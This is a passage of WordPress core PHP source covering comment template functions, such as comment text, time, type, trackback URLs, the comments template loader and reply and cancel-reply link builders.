			$parent_link = esc_url( get_comment_link( $parent ) );
			$name        = get_comment_author( $parent );

			$comment_text = sprintf(
				/* translators: %s: Comment link. */
				ent2ncr( __( 'In reply to %s.' ) ),
				'<a href="' . $parent_link . '">' . $name . '</a>'
			) . "\n\n" . $comment_text;
		}
	}

	/**
	 * Filters the text of a comment.
	 *
	 * @since 1.5.0
	 *
	 * @see Walker_Comment::comment()
	 *
	 * @param string     $comment_text Text of the comment.
	 * @param WP_Comment $comment      The comment object.
	 * @param array      $args         An array of arguments.
	 */
	return apply_filters( 'get_comment_text', $comment_text, $comment, $args );
}

/**
 * Displays the text of the current comment.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @see Walker_Comment::comment()
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to print the text.
 *                                   Default current comment.
 * @param array          $args       Optional. An array of arguments. Default empty array.
 */
function comment_text( $comment_id = 0, $args = array() ) {
	$comment = get_comment( $comment_id );

	$comment_text = get_comment_text( $comment, $args );

	/**
	 * Filters the text of a comment to be displayed.
	 *
	 * @since 1.2.0
	 *
	 * @see Walker_Comment::comment()
	 *
	 * @param string          $comment_text Text of the comment.
	 * @param WP_Comment|null $comment      The comment object. Null if not found.
	 * @param array           $args         An array of arguments.
	 */
	echo apply_filters( 'comment_text', $comment_text, $comment, $args );
}

/**
 * Retrieves the comment time of the current comment.
 *
 * @since 1.5.0
 * @since 6.2.0 Added the `$comment_id` parameter.
 *
 * @param string         $format     Optional. PHP date format. Defaults to the 'time_format' option.
 * @param bool           $gmt        Optional. Whether to use the GMT date. Default false.
 * @param bool           $translate  Optional. Whether to translate the time (for use in feeds).
 *                                   Default true.
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the time.
 *                                   Default current comment.
 * @return string The formatted time.
 */
function get_comment_time( $format = '', $gmt = false, $translate = true, $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	if ( null === $comment ) {
		return '';
	}

	$comment_date = $gmt ? $comment->comment_date_gmt : $comment->comment_date;

	$_format = ! empty( $format ) ? $format : get_option( 'time_format' );

	$comment_time = mysql2date( $_format, $comment_date, $translate );

	/**
	 * Filters the returned comment time.
	 *
	 * @since 1.5.0
	 *
	 * @param string|int $comment_time The comment time, formatted as a date string or Unix timestamp.
	 * @param string     $format       PHP date format.
	 * @param bool       $gmt          Whether the GMT date is in use.
	 * @param bool       $translate    Whether the time is translated.
	 * @param WP_Comment $comment      The comment object.
	 */
	return apply_filters( 'get_comment_time', $comment_time, $format, $gmt, $translate, $comment );
}

/**
 * Displays the comment time of the current comment.
 *
 * @since 0.71
 * @since 6.2.0 Added the `$comment_id` parameter.
 *
 * @param string         $format     Optional. PHP time format. Defaults to the 'time_format' option.
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to print the time.
 *                                   Default current comment.
 */
function comment_time( $format = '', $comment_id = 0 ) {
	echo get_comment_time( $format, false, true, $comment_id );
}

/**
 * Retrieves the comment type of the current comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the type.
 *                                   Default current comment.
 * @return string The comment type.
 */
function get_comment_type( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	if ( '' === $comment->comment_type ) {
		$comment->comment_type = 'comment';
	}

	/**
	 * Filters the returned comment type.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string     $comment_type The type of comment, such as 'comment', 'pingback', or 'trackback'.
	 * @param string     $comment_id   The comment ID as a numeric string.
	 * @param WP_Comment $comment      The comment object.
	 */
	return apply_filters( 'get_comment_type', $comment->comment_type, $comment->comment_ID, $comment );
}

/**
 * Displays the comment type of the current comment.
 *
 * @since 0.71
 *
 * @param string|false $commenttxt   Optional. String to display for comment type. Default false.
 * @param string|false $trackbacktxt Optional. String to display for trackback type. Default false.
 * @param string|false $pingbacktxt  Optional. String to display for pingback type. Default false.
 */
function comment_type( $commenttxt = false, $trackbacktxt = false, $pingbacktxt = false ) {
	if ( false === $commenttxt ) {
		$commenttxt = _x( 'Comment', 'noun' );
	}
	if ( false === $trackbacktxt ) {
		$trackbacktxt = __( 'Trackback' );
	}
	if ( false === $pingbacktxt ) {
		$pingbacktxt = __( 'Pingback' );
	}
	$type = get_comment_type();
	switch ( $type ) {
		case 'trackback':
			echo $trackbacktxt;
			break;
		case 'pingback':
			echo $pingbacktxt;
			break;
		default:
			echo $commenttxt;
	}
}

/**
 * Retrieves the current post's trackback URL.
 *
 * There is a check to see if permalink's have been enabled and if so, will
 * retrieve the pretty path. If permalinks weren't enabled, the ID of the
 * current post is used and appended to the correct page to go to.
 *
 * @since 1.5.0
 *
 * @return string The trackback URL after being filtered.
 */
function get_trackback_url() {
	if ( get_option( 'permalink_structure' ) ) {
		$trackback_url = trailingslashit( get_permalink() ) . user_trailingslashit( 'trackback', 'single_trackback' );
	} else {
		$trackback_url = get_option( 'siteurl' ) . '/wp-trackback.php?p=' . get_the_ID();
	}

	/**
	 * Filters the returned trackback URL.
	 *
	 * @since 2.2.0
	 *
	 * @param string $trackback_url The trackback URL.
	 */
	return apply_filters( 'trackback_url', $trackback_url );
}

/**
 * Displays the current post's trackback URL.
 *
 * @since 0.71
 *
 * @param bool $deprecated_echo Not used.
 * @return void|string Should only be used to echo the trackback URL, use get_trackback_url()
 *                     for the result instead.
 */
function trackback_url( $deprecated_echo = true ) {
	if ( true !== $deprecated_echo ) {
		_deprecated_argument(
			__FUNCTION__,
			'2.5.0',
			sprintf(
				/* translators: %s: get_trackback_url() */
				__( 'Use %s instead if you do not want the value echoed.' ),
				'<code>get_trackback_url()</code>'
			)
		);
	}

	if ( $deprecated_echo ) {
		echo get_trackback_url();
	} else {
		return get_trackback_url();
	}
}

/**
 * Generates and displays the RDF for the trackback information of current post.
 *
 * Deprecated in 3.0.0, and restored in 3.0.1.
 *
 * @since 0.71
 *
 * @param int|string $deprecated Not used (Was $timezone = 0).
 */
function trackback_rdf( $deprecated = '' ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.5.0' );
	}

	if ( isset( $_SERVER['HTTP_USER_AGENT'] ) && false !== stripos( $_SERVER['HTTP_USER_AGENT'], 'W3C_Validator' ) ) {
		return;
	}

	echo '<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
			xmlns:dc="http://purl.org/dc/elements/1.1/"
			xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/">
		<rdf:Description rdf:about="';
	the_permalink();
	echo '"' . "\n";
	echo '    dc:identifier="';
	the_permalink();
	echo '"' . "\n";
	echo '    dc:title="' . str_replace( '--', '&#x2d;&#x2d;', wptexturize( strip_tags( get_the_title() ) ) ) . '"' . "\n";
	echo '    trackback:ping="' . get_trackback_url() . '"' . " />\n";
	echo '</rdf:RDF>';
}

/**
 * Determines whether the current post is open for comments.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
 * @return bool True if the comments are open.
 */
function comments_open( $post = null ) {
	$_post = get_post( $post );

	$post_id       = $_post ? $_post->ID : 0;
	$comments_open = ( $_post && ( 'open' === $_post->comment_status ) );

	/**
	 * Filters whether the current post is open for comments.
	 *
	 * @since 2.5.0
	 *
	 * @param bool $comments_open Whether the current post is open for comments.
	 * @param int  $post_id       The post ID.
	 */
	return apply_filters( 'comments_open', $comments_open, $post_id );
}

/**
 * Determines whether the current post is open for pings.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
 * @return bool True if pings are accepted
 */
function pings_open( $post = null ) {
	$_post = get_post( $post );

	$post_id    = $_post ? $_post->ID : 0;
	$pings_open = ( $_post && ( 'open' === $_post->ping_status ) );

	/**
	 * Filters whether the current post is open for pings.
	 *
	 * @since 2.5.0
	 *
	 * @param bool $pings_open Whether the current post is open for pings.
	 * @param int  $post_id    The post ID.
	 */
	return apply_filters( 'pings_open', $pings_open, $post_id );
}

/**
 * Displays form token for unfiltered comments.
 *
 * Will only display nonce token if the current user has permissions for
 * unfiltered html. Won't display the token for other users.
 *
 * The function was backported to 2.0.10 and was added to versions 2.1.3 and
 * above. Does not exist in versions prior to 2.0.10 in the 2.0 branch and in
 * the 2.1 branch, prior to 2.1.3. Technically added in 2.2.0.
 *
 * Backported to 2.0.10.
 *
 * @since 2.1.3
 */
function wp_comment_form_unfiltered_html_nonce() {
	$post    = get_post();
	$post_id = $post ? $post->ID : 0;

	if ( current_user_can( 'unfiltered_html' ) ) {
		wp_nonce_field( 'unfiltered-html-comment_' . $post_id, '_wp_unfiltered_html_comment_disabled', false );
		wp_print_inline_script_tag( "(function(){if(window===window.parent){document.getElementById('_wp_unfiltered_html_comment_disabled').name='_wp_unfiltered_html_comment';}})();" );
	}
}

/**
 * Loads the comment template specified in $file.
 *
 * Will not display the comments template if not on single post or page, or if
 * the post does not have comments.
 *
 * Uses the WordPress database object to query for the comments. The comments
 * are passed through the {@see 'comments_array'} filter hook with the list of comments
 * and the post ID respectively.
 *
 * The `$file` path is passed through a filter hook called {@see 'comments_template'},
 * which includes the template directory and $file combined. Tries the $filtered path
 * first and if it fails it will require the default comment template from the
 * default theme. If either does not exist, then the WordPress process will be
 * halted. It is advised for that reason, that the default theme is not deleted.
 *
 * Will not try to get the comments if the post has none.
 *
 * @since 1.5.0
 *
 * @global WP_Query   $wp_query           WordPress Query object.
 * @global WP_Post    $post               Global post object.
 * @global wpdb       $wpdb               WordPress database abstraction object.
 * @global int        $id
 * @global WP_Comment $comment            Global comment object.
 * @global string     $user_login
 * @global string     $user_identity
 * @global bool       $overridden_cpage
 * @global bool       $withcomments
 * @global string     $wp_stylesheet_path Path to current theme's stylesheet directory.
 * @global string     $wp_template_path   Path to current theme's template directory.
 *
 * @param string $file              Optional. The file to load. Default '/comments.php'.
 * @param bool   $separate_comments Optional. Whether to separate the comments by comment type.
 *                                  Default false.
 */
function comments_template( $file = '/comments.php', $separate_comments = false ) {
	global $wp_query, $withcomments, $post, $wpdb, $id, $comment, $user_login, $user_identity, $overridden_cpage, $wp_stylesheet_path, $wp_template_path;

	if ( ! ( is_single() || is_page() || $withcomments ) || empty( $post ) ) {
		return;
	}

	if ( empty( $file ) ) {
		$file = '/comments.php';
	}

	$req = get_option( 'require_name_email' );

	/*
	 * Comment author information fetched from the comment cookies.
	 */
	$commenter = wp_get_current_commenter();

	/*
	 * The name of the current comment author escaped for use in attributes.
	 * Escaped by sanitize_comment_cookies().
	 */
	$comment_author = $commenter['comment_author'];

	/*
	 * The email address of the current comment author escaped for use in attributes.
	 * Escaped by sanitize_comment_cookies().
	 */
	$comment_author_email = $commenter['comment_author_email'];

	/*
	 * The URL of the current comment author escaped for use in attributes.
	 */
	$comment_author_url = esc_url( $commenter['comment_author_url'] );

	$comment_args = array(
		'orderby'       => 'comment_date_gmt',
		'order'         => 'ASC',
		'status'        => 'approve',
		'post_id'       => $post->ID,
		'no_found_rows' => false,
	);

	if ( get_option( 'thread_comments' ) ) {
		$comment_args['hierarchical'] = 'threaded';
	} else {
		$comment_args['hierarchical'] = false;
	}

	if ( is_user_logged_in() ) {
		$comment_args['include_unapproved'] = array( get_current_user_id() );
	} else {
		$unapproved_email = wp_get_unapproved_comment_author_email();

		if ( $unapproved_email ) {
			$comment_args['include_unapproved'] = array( $unapproved_email );
		}
	}

	$per_page = 0;
	if ( get_option( 'page_comments' ) ) {
		$per_page = (int) get_query_var( 'comments_per_page' );
		if ( 0 === $per_page ) {
			$per_page = (int) get_option( 'comments_per_page' );
		}

		$comment_args['number'] = $per_page;
		$page                   = (int) get_query_var( 'cpage' );

		if ( $page ) {
			$comment_args['offset'] = ( $page - 1 ) * $per_page;
		} elseif ( 'oldest' === get_option( 'default_comments_page' ) ) {
			$comment_args['offset'] = 0;
		} else {
			// If fetching the first page of 'newest', we need a top-level comment count.
			$top_level_query = new WP_Comment_Query();
			$top_level_args  = array(
				'count'   => true,
				'orderby' => false,
				'post_id' => $post->ID,
				'status'  => 'approve',
			);

			if ( $comment_args['hierarchical'] ) {
				$top_level_args['parent'] = 0;
			}

			if ( isset( $comment_args['include_unapproved'] ) ) {
				$top_level_args['include_unapproved'] = $comment_args['include_unapproved'];
			}

			/**
			 * Filters the arguments used in the top level comments query.
			 *
			 * @since 5.6.0
			 *
			 * @see WP_Comment_Query::__construct()
			 *
			 * @param array $top_level_args {
			 *     The top level query arguments for the comments template.
			 *
			 *     @type bool         $count   Whether to return a comment count.
			 *     @type string|array $orderby The field(s) to order by.
			 *     @type int          $post_id The post ID.
			 *     @type string|array $status  The comment status to limit results by.
			 * }
			 */
			$top_level_args = apply_filters( 'comments_template_top_level_query_args', $top_level_args );

			$top_level_count = $top_level_query->query( $top_level_args );

			$comment_args['offset'] = ( (int) ceil( $top_level_count / $per_page ) - 1 ) * $per_page;
		}
	}

	/**
	 * Filters the arguments used to query comments in comments_template().
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Comment_Query::__construct()
	 *
	 * @param array $comment_args {
	 *     Array of WP_Comment_Query arguments.
	 *
	 *     @type string|array $orderby                   Field(s) to order by.
	 *     @type string       $order                     Order of results. Accepts 'ASC' or 'DESC'.
	 *     @type string       $status                    Comment status.
	 *     @type array        $include_unapproved        Array of IDs or email addresses whose unapproved comments
	 *                                                   will be included in results.
	 *     @type int          $post_id                   ID of the post.
	 *     @type bool         $no_found_rows             Whether to refrain from querying for found rows.
	 *     @type bool         $update_comment_meta_cache Whether to prime cache for comment meta.
	 *     @type bool|string  $hierarchical              Whether to query for comments hierarchically.
	 *     @type int          $offset                    Comment offset.
	 *     @type int          $number                    Number of comments to fetch.
	 * }
	 */
	$comment_args = apply_filters( 'comments_template_query_args', $comment_args );

	$comment_query = new WP_Comment_Query( $comment_args );
	$_comments     = $comment_query->comments;

	// Trees must be flattened before they're passed to the walker.
	if ( $comment_args['hierarchical'] ) {
		$comments_flat = array();
		foreach ( $_comments as $_comment ) {
			$comments_flat[]  = $_comment;
			$comment_children = $_comment->get_children(
				array(
					'format'  => 'flat',
					'status'  => $comment_args['status'],
					'orderby' => $comment_args['orderby'],
				)
			);

			foreach ( $comment_children as $comment_child ) {
				$comments_flat[] = $comment_child;
			}
		}
	} else {
		$comments_flat = $_comments;
	}

	/**
	 * Filters the comments array.
	 *
	 * @since 2.1.0
	 *
	 * @param array $comments Array of comments supplied to the comments template.
	 * @param int   $post_id  Post ID.
	 */
	$wp_query->comments = apply_filters( 'comments_array', $comments_flat, $post->ID );

	$comments                        = &$wp_query->comments;
	$wp_query->comment_count         = count( $wp_query->comments );
	$wp_query->max_num_comment_pages = $comment_query->max_num_pages;

	if ( $separate_comments ) {
		$wp_query->comments_by_type = separate_comments( $comments );
		$comments_by_type           = &$wp_query->comments_by_type;
	} else {
		$wp_query->comments_by_type = array();
	}

	$overridden_cpage = false;

	if ( '' == get_query_var( 'cpage' ) && $wp_query->max_num_comment_pages > 1 ) {
		set_query_var( 'cpage', 'newest' === get_option( 'default_comments_page' ) ? get_comment_pages_count() : 1 );
		$overridden_cpage = true;
	}

	if ( ! defined( 'COMMENTS_TEMPLATE' ) ) {
		define( 'COMMENTS_TEMPLATE', true );
	}

	$theme_template = trailingslashit( $wp_stylesheet_path ) . $file;

	/**
	 * Filters the path to the theme template file used for the comments template.
	 *
	 * @since 1.5.1
	 *
	 * @param string $theme_template The path to the theme template file.
	 */
	$include = apply_filters( 'comments_template', $theme_template );

	if ( file_exists( $include ) ) {
		require $include;
	} elseif ( file_exists( trailingslashit( $wp_template_path ) . $file ) ) {
		require trailingslashit( $wp_template_path ) . $file;
	} else { // Backward compat code will be removed in a future release.
		require ABSPATH . WPINC . '/theme-compat/comments.php';
	}
}

/**
 * Displays the link to the comments for the current post ID.
 *
 * @since 0.71
 *
 * @param false|string $zero      Optional. String to display when no comments. Default false.
 * @param false|string $one       Optional. String to display when only one comment is available. Default false.
 * @param false|string $more      Optional. String to display when there are more than one comment. Default false.
 * @param string       $css_class Optional. CSS class to use for comments. Default empty.
 * @param false|string $none      Optional. String to display when comments have been turned off. Default false.
 */
function comments_popup_link( $zero = false, $one = false, $more = false, $css_class = '', $none = false ) {
	$post_id         = get_the_ID();
	$post_title      = get_the_title();
	$comments_number = get_comments_number( $post_id );

	if ( false === $zero ) {
		/* translators: %s: Post title. */
		$zero = sprintf( __( 'No Comments<span class="screen-reader-text"> on %s</span>' ), $post_title );
	}

	if ( false === $one ) {
		/* translators: %s: Post title. */
		$one = sprintf( __( '1 Comment<span class="screen-reader-text"> on %s</span>' ), $post_title );
	}

	if ( false === $more ) {
		/* translators: 1: Number of comments, 2: Post title. */
		$more = _n(
			'%1$s Comment<span class="screen-reader-text"> on %2$s</span>',
			'%1$s Comments<span class="screen-reader-text"> on %2$s</span>',
			$comments_number
		);
		$more = sprintf( $more, number_format_i18n( $comments_number ), $post_title );
	}

	if ( false === $none ) {
		/* translators: %s: Post title. */
		$none = sprintf( __( 'Comments Off<span class="screen-reader-text"> on %s</span>' ), $post_title );
	}

	if ( 0 == $comments_number && ! comments_open() && ! pings_open() ) {
		printf(
			'<span%1$s>%2$s</span>',
			! empty( $css_class ) ? ' class="' . esc_attr( $css_class ) . '"' : '',
			$none
		);
		return;
	}

	if ( post_password_required() ) {
		_e( 'Enter your password to view comments.' );
		return;
	}

	if ( 0 == $comments_number ) {
		$respond_link = get_permalink() . '#respond';
		/**
		 * Filters the respond link when a post has no comments.
		 *
		 * @since 4.4.0
		 *
		 * @param string $respond_link The default response link.
		 * @param int    $post_id      The post ID.
		 */
		$comments_link = apply_filters( 'respond_link', $respond_link, $post_id );
	} else {
		$comments_link = get_comments_link();
	}

	$link_attributes = '';

	/**
	 * Filters the comments link attributes for display.
	 *
	 * @since 2.5.0
	 *
	 * @param string $link_attributes The comments link attributes. Default empty.
	 */
	$link_attributes = apply_filters( 'comments_popup_link_attributes', $link_attributes );

	printf(
		'<a href="%1$s"%2$s%3$s>%4$s</a>',
		esc_url( $comments_link ),
		! empty( $css_class ) ? ' class="' . $css_class . '" ' : '',
		$link_attributes,
		get_comments_number_text( $zero, $one, $more )
	);
}

/**
 * Retrieves HTML content for reply to comment link.
 *
 * @since 2.7.0
 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object.
 *
 * @param array          $args {
 *     Optional. Override default arguments.
 *
 *     @type string $add_below  The first part of the selector used to identify the comment to respond below.
 *                              The resulting value is passed as the first parameter to addComment.moveForm(),
 *                              concatenated as $add_below-$comment->comment_ID. Default 'comment'.
 *     @type string $respond_id The selector identifying the responding comment. Passed as the third parameter
 *                              to addComment.moveForm(), and appended to the link URL as a hash value.
 *                              Default 'respond'.
 *     @type string $reply_text The text of the Reply link. Default 'Reply'.
 *     @type string $login_text The text of the link to reply if logged out. Default 'Log in to Reply'.
 *     @type int    $max_depth  The max depth of the comment tree. Default 0.
 *     @type int    $depth      The depth of the new comment. Must be greater than 0 and less than the value
 *                              of the 'thread_comments_depth' option set in Settings > Discussion. Default 0.
 *     @type string $before     The text or HTML to add before the reply link. Default empty.
 *     @type string $after      The text or HTML to add after the reply link. Default empty.
 * }
 * @param int|WP_Comment $comment Optional. Comment being replied to. Default current comment.
 * @param int|WP_Post    $post    Optional. Post ID or WP_Post object the comment is going to be displayed on.
 *                                Default current post.
 * @return string|false|null Link to show comment form, if successful. False, if comments are closed.
 */
function get_comment_reply_link( $args = array(), $comment = null, $post = null ) {
	$defaults = array(
		'add_below'     => 'comment',
		'respond_id'    => 'respond',
		'reply_text'    => __( 'Reply' ),
		/* translators: Comment reply button text. %s: Comment author name. */
		'reply_to_text' => __( 'Reply to %s' ),
		'login_text'    => __( 'Log in to Reply' ),
		'max_depth'     => 0,
		'depth'         => 0,
		'before'        => '',
		'after'         => '',
	);

	$args = wp_parse_args( $args, $defaults );

	if ( 0 == $args['depth'] || $args['max_depth'] <= $args['depth'] ) {
		return;
	}

	$comment = get_comment( $comment );

	if ( empty( $comment ) ) {
		return;
	}

	if ( empty( $post ) ) {
		$post = $comment->comment_post_ID;
	}

	$post = get_post( $post );

	if ( ! comments_open( $post->ID ) ) {
		return false;
	}

	if ( get_option( 'page_comments' ) ) {
		$permalink = str_replace( '#comment-' . $comment->comment_ID, '', get_comment_link( $comment ) );
	} else {
		$permalink = get_permalink( $post->ID );
	}

	/**
	 * Filters the comment reply link arguments.
	 *
	 * @since 4.1.0
	 *
	 * @param array      $args    Comment reply link arguments. See get_comment_reply_link()
	 *                            for more information on accepted arguments.
	 * @param WP_Comment $comment The object of the comment being replied to.
	 * @param WP_Post    $post    The WP_Post object.
	 */
	$args = apply_filters( 'comment_reply_link_args', $args, $comment, $post );

	if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) {
		$link = sprintf(
			'<a rel="nofollow" class="comment-reply-login" href="%s">%s</a>',
			esc_url( wp_login_url( get_permalink() ) ),
			$args['login_text']
		);
	} else {
		$data_attributes = array(
			'commentid'      => $comment->comment_ID,
			'postid'         => $post->ID,
			'belowelement'   => $args['add_below'] . '-' . $comment->comment_ID,
			'respondelement' => $args['respond_id'],
			'replyto'        => sprintf( $args['reply_to_text'], get_comment_author( $comment ) ),
		);

		$data_attribute_string = '';

		foreach ( $data_attributes as $name => $value ) {
			$data_attribute_string .= " data-{$name}=\"" . esc_attr( $value ) . '"';
		}

		$data_attribute_string = trim( $data_attribute_string );

		$link = sprintf(
			"<a rel='nofollow' class='comment-reply-link' href='%s' %s aria-label='%s'>%s</a>",
			esc_url(
				add_query_arg(
					array(
						'replytocom'      => $comment->comment_ID,
						'unapproved'      => false,
						'moderation-hash' => false,
					),
					$permalink
				)
			) . '#' . $args['respond_id'],
			$data_attribute_string,
			esc_attr( sprintf( $args['reply_to_text'], get_comment_author( $comment ) ) ),
			$args['reply_text']
		);
	}

	$comment_reply_link = $args['before'] . $link . $args['after'];

	/**
	 * Filters the comment reply link.
	 *
	 * @since 2.7.0
	 *
	 * @param string     $comment_reply_link The HTML markup for the comment reply link.
	 * @param array      $args               An array of arguments overriding the defaults.
	 * @param WP_Comment $comment            The object of the comment being replied.
	 * @param WP_Post    $post               The WP_Post object.
	 */
	return apply_filters( 'comment_reply_link', $comment_reply_link, $args, $comment, $post );
}

/**
 * Displays the HTML content for reply to comment link.
 *
 * @since 2.7.0
 *
 * @see get_comment_reply_link()
 *
 * @param array          $args    Optional. Override default options. Default empty array.
 * @param int|WP_Comment $comment Optional. Comment being replied to. Default current comment.
 * @param int|WP_Post    $post    Optional. Post ID or WP_Post object the comment is going to be displayed on.
 *                                Default current post.
 */
function comment_reply_link( $args = array(), $comment = null, $post = null ) {
	echo get_comment_reply_link( $args, $comment, $post );
}

/**
 * Retrieves HTML content for reply to post link.
 *
 * @since 2.7.0
 *
 * @param array       $args {
 *     Optional. Override default arguments.
 *
 *     @type string $add_below  The first part of the selector used to identify the comment to respond below.
 *                              The resulting value is passed as the first parameter to addComment.moveForm(),
 *                              concatenated as $add_below-$comment->comment_ID. Default is 'post'.
 *     @type string $respond_id The selector identifying the responding comment. Passed as the third parameter
 *                              to addComment.moveForm(), and appended to the link URL as a hash value.
 *                              Default 'respond'.
 *     @type string $reply_text Text of the Reply link. Default is 'Leave a Comment'.
 *     @type string $login_text Text of the link to reply if logged out. Default is 'Log in to leave a Comment'.
 *     @type string $before     Text or HTML to add before the reply link. Default empty.
 *     @type string $after      Text or HTML to add after the reply link. Default empty.
 * }
 * @param int|WP_Post $post    Optional. Post ID or WP_Post object the comment is going to be displayed on.
 *                             Default current post.
 * @return string|false|null Link to show comment form, if successful. False, if comments are closed.
 */
function get_post_reply_link( $args = array(), $post = null ) {
	$defaults = array(
		'add_below'  => 'post',
		'respond_id' => 'respond',
		'reply_text' => __( 'Leave a Comment' ),
		'login_text' => __( 'Log in to leave a Comment' ),
		'before'     => '',
		'after'      => '',
	);

	$args = wp_parse_args( $args, $defaults );

	$post = get_post( $post );

	if ( ! comments_open( $post->ID ) ) {
		return false;
	}

	if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) {
		$link = sprintf(
			'<a rel="nofollow" class="comment-reply-login" href="%s">%s</a>',
			wp_login_url( get_permalink() ),
			$args['login_text']
		);
	} else {
		$onclick = sprintf(
			'return addComment.moveForm( "%1$s-%2$s", "0", "%3$s", "%2$s" )',
			$args['add_below'],
			$post->ID,
			$args['respond_id']
		);

		$link = sprintf(
			"<a rel='nofollow' class='comment-reply-link' href='%s' onclick='%s'>%s</a>",
			get_permalink( $post->ID ) . '#' . $args['respond_id'],
			$onclick,
			$args['reply_text']
		);
	}

	$post_reply_link = $args['before'] . $link . $args['after'];

	/**
	 * Filters the formatted post comments link HTML.
	 *
	 * @since 2.7.0
	 *
	 * @param string      $post_reply_link The HTML-formatted post comments link.
	 * @param int|WP_Post $post            The post ID or WP_Post object.
	 */
	return apply_filters( 'post_comments_link', $post_reply_link, $post );
}

/**
 * Displays the HTML content for reply to post link.
 *
 * @since 2.7.0
 *
 * @see get_post_reply_link()
 *
 * @param array       $args Optional. Override default options. Default empty array.
 * @param int|WP_Post $post Optional. Post ID or WP_Post object the comment is going to be displayed on.
 *                          Default current post.
 */
function post_reply_link( $args = array(), $post = null ) {
	echo get_post_reply_link( $args, $post );
}

/**
 * Retrieves HTML content for cancel comment reply link.
 *
 * @since 2.7.0
 * @since 6.2.0 Added the `$post` parameter.
 *
 * @param string           $link_text Optional. Text to display for cancel reply link. If empty,
 *                                    defaults to 'Click here to cancel reply'. Default empty.
 * @param int|WP_Post|null $post      Optional. The post the comment thread is being
 *                                    displayed for. Defaults to the current global post.
 * @return string
 */
function get_cancel_comment_reply_link( $link_text = '', $post = null ) {
	if ( empty( $link_text ) ) {
		$link_text = __( 'Click here to cancel reply.' );
	}

	$post        = get_post( $post );
	$reply_to_id = $post ? _get_comment_reply_id( $post->ID ) : 0;
	$link_style  = 0 !== $reply_to_id ? '' : ' style="display:none;"';
	$link_url    = esc_url( remove_query_arg( array( 'replytocom', 'unapproved', 'moderation-hash' ) ) ) . '#respond';

	$cancel_comment_reply_link = sprintf(
		'<a rel="nofollow" id="cancel-comment-reply-link" href="%1$s"%2$s>%3$s</a>',
		$link_url,
		$link_style,
		$link_text
	);

	/**
	 * Filters the cancel comment reply link HTML.
	 *
	 * @since 2.7.0
	 *
	 * @param string $cancel_comment_reply_link The HTML-formatted cancel comment reply link.
	 * @param string $link_url                  Cancel comment reply link URL.
	 * @param string $link_text                 Cancel comment reply link text.
	 */
	return apply_filters( 'cancel_comment_reply_link', $cancel_comment_reply_link, $link_url, $link_text );
}

/**
 * Displays HTML content for cancel comment reply link.
 *
 * @since 2.7.0
 *
 * @param string $link_text Optional. Text to display for cancel reply link. If empty,
 *                     defaults to 'Click here to cancel reply'. Default empty.
 */
function cancel_comment_reply_link( $link_text = '' ) {
	echo get_cancel_comment_reply_link( $link_text );
}

/**
 * Retrieves hidden input HTML for replying to comments.
 *
 * @since 3.0.0
 * @since 6.2.0 Renamed `$post_id` to `$post` and added WP_Post support.
 *
 * @param int|WP_Post|null $post Optional. The post the comment is being displayed for.
 *                               Defaults to the current global post.
 * @return string Hidden input HTML for replying to comments.
 */
function get_comment_id_fields( $post = null ) {
	$post = get_post( $post );
	if ( ! $post ) {
		return '';
	}

	$post_id     = $post->ID;
	$reply_to_id = _get_comment_reply_id( $post_id );

	$comment_id_fields  = "<input type='hidden' name='comment_post_ID' value='$post_id' id='comment_post_ID' />\n";
	$comment_id_fields .= "<input type='hidden' name='comment_parent' id='comment_parent' value='$reply_to_id' />\n";

	/**
	 * Filters the returned comment ID fields.
	 *
	 * @since 3.0.0
	 *
	 * @param string $comment_id_fields The HTML-formatted hidden ID field comment elements.
	 * @param int    $post_id           The post ID.
	 * @param int    $reply_to_id       The ID of the comment being replied to.
	 */
	return apply_filters( 'comment_id_fields', $comment_id_fields, $post_id, $reply_to_id );
}

/**
 * Outputs hidden input HTML for replying to comments.
 *
 * Adds two hidden inputs to the comment form to identify the `comment_post_ID`
 * and `comment_parent` values for threaded comments.
 *
 * This tag must be within the `<form>` section of the `comments.php` template.
 *
 * @since 2.7.0
 * @since 6.2.0 Renamed `$post_id` to `$post` and added WP_Post support.
 *
 * @see get_comment_id_fields()
 *
 * @param int|WP_Post|null $post Optional. The post the comment is being displayed for.
 *                               Defaults to the current global post.
 */
function comment_id_fields( $post = null ) {
	echo get_comment_id_fields( $post );
}

/**
 * Displays text based on comment reply status.
 *
 * Only affects users with JavaScript disabled.
 *
 * @internal The $comment global must be present to allow template tags access to the current
 *           comment. See https://core.trac.wordpress.org/changeset/36512.
 *
 * @since 2.7.0
 * @since 6.2.0 Added the `$post` parameter.
 *
 * @global WP_Comment $comment Global comment object.
 *
 * @param string|false      $no_reply_text  Optional. Text to display when not replying to a comment.
 *                                          Default false.
 * @param string|false      $reply_text     Optional. Text to display when replying to a comment.
 *                                          Default false. Accepts "%s" for the author of the comment
 *                                          being replied to.
 * @param bool              $link_to_parent Optional. Boolean to control making the author's name a link
 *                                          to their comment. Default true.
 * @param int|WP_Post|null  $post           Optional. The post that the comment form is being displayed for.
 *                                          Defaults to the current global post.
 */
